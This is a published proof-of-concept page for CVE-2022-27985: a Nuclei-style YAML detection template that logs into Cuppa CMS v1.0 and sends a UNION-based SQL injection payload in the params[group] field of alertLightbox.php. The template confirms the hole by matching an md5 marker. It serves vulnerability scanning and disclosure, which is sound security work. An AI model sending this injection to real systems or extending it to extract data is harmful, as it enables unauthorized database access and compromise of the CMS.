CVE-2022-27985: Cuppa CMS v1.0 - SQL injection

2025-08-01 Cuppa CMS PoC Public

Description

CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via /administrator/alerts/alertLightbox.php.

PoC

id: CVE-2022-27985

info:
  name: Cuppa CMS v1.0 - SQL injection
  author: theamanrawat
  severity: critical
  description: |
    CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via /administrator/alerts/alertLightbox.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire CMS system.
  remediation: |
    Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27985
    - http://cuppa.com
    - http://www.cuppacms.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-27985
    cwe-id: CWE-89
    epss-score: 0.06598
    epss-percentile: 0.93495
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,sqli,cuppa,authenticated,cuppacms,vuln
variables:
  num: '999999999'

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        POST /alerts/alertLightbox.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        url=components%2Fpermissions%2Flist_permissions_lightbox.php&title=Permissions%3A+profile&params%5Bgroup%5D=3'+UNION+ALL+SELECT+md5('{{num}}'),null--+-&params%5Breference%5D=41&uniqueClass=new_content_3983163

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402204b3bf29011f1b2c3c10a5f902a5a1fac2e1a819e4fb1baccad6bab60c9af689f022071a3a12e91274862ab2af30372d5f8ae871e75c84bf32cb03a8400a699f0cf08:922c64590222798bb761d5b6d8e72950

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